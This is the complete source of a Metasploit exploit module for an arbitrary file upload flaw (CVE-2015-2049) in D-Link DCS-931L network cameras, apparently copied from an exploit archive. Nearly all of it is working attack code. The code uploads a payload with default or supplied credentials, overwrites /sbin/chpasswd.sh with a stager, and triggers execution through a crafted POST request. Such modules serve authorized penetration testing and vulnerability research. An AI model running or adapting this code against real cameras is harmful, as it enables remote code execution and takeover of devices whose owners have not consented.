D-Link DCS-931L – Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper HttpFingerprint = { :pattern => [ /alphapd/ ] } def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link DCS-931L File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in D-Link DCS-931L network cameras. The setFileUpload functionality allows authenticated users to upload files to anywhere on the file system, allowing system files to be overwritten, resulting in execution of arbitrary commands. This module has been tested successfully on a D-Link DCS-931L with firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21). D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly affected, but untested. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'Payload' => { 'Space' => 1024, # File upload 'DisableNops' => true }, 'Platform' => 'linux', 'Privileged' => false, 'Targets' => [ [ 'Linux mipsle Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2015-2049' ], [ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ], [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory ], 'DisclosureDate' => 'Feb 23 2015')) register_options( [ OptString.new('USERNAME', [true, 'Camera username', 'admin']), OptString.new('PASSWORD', [false, 'Camera password (default: blank)', '']) ], self.class) end def check res = send_request_cgi( 'uri' => normalize_uri('uploadfile.htm'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'] )) unless res vprint_status("#{peer} - The connection timed out.") return Exploit::CheckCode::Unknown end if res.code && res.code == 404 vprint_status("#{peer} - uploadfile.htm does not exist") return Exploit::CheckCode::Safe elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/ vprint_error("#{peer} - Authentication failed") return Exploit::CheckCode::Detected elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}" # upload payload res = upload(payload_path, generate_payload_exe) unless res fail_with(Failure::Unreachable, "#{peer} - Connection failed") end if res.code && res.code == 404 fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist") elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ print_good("#{peer} - Payload uploaded successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload") end register_file_for_cleanup(payload_path) # overwrite /sbin/chpasswd.sh with stub res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n") unless res fail_with(Failure::Unreachable, "#{peer} - Connection failed") end if res.code && res.code == 404 fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist") elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ print_good("#{peer} - Stager uploaded successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager") end # execute payload using stub res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri('setSystemAdmin'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'vars_post' => Hash[{ 'ReplySuccessPage' => 'advanced.htm', 'ReplyErrorPage' => 'errradv.htm', 'ConfigSystemAdmin' => 'Apply' }.to_a.shuffle]) unless res fail_with(Failure::Unreachable, "#{peer} - Connection failed") end if res.code && res.code == 401 fail_with(Failure::NoAccess, "#{peer} - Authentication failed") elsif res.code && res.code == 200 && res.body print_good("#{peer} - Payload executed successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed") end end # # Replace chpasswd.sh with original contents # def cleanup chpasswd = <<-EOF #!/bin/sh # # $Id: chpasswd.sh, v1.00 2009-11-05 andy # # usage: chpasswd.sh <user name> [<password>] # if [ "$1" == "" ]; then echo "chpasswd: no user name" exit 1 fi echo "$1:$2" > /tmp/tmpchpw chpasswd < /tmp/tmpchpw rm -f /tmp/tmpchpw EOF res = upload('/sbin/chpasswd.sh', chpasswd) if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully") else vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default") end end # # Upload a file to a specified path # def upload(path, data) vprint_status("#{peer} - Writing #{data.length} bytes to #{path}") boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n" post_data << "\r\nreplyuf.htm\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n" post_data << "\r\nreplyuf.htm\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n" post_data << "\r\n#{path}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n" post_data << "Content-Type: application/octet-stream\r\n" post_data << "\r\n#{data}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n" post_data << "\r\nUpload File\r\n" post_data << "--#{boundary}\r\n" send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri('setFileUpload'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data) end end |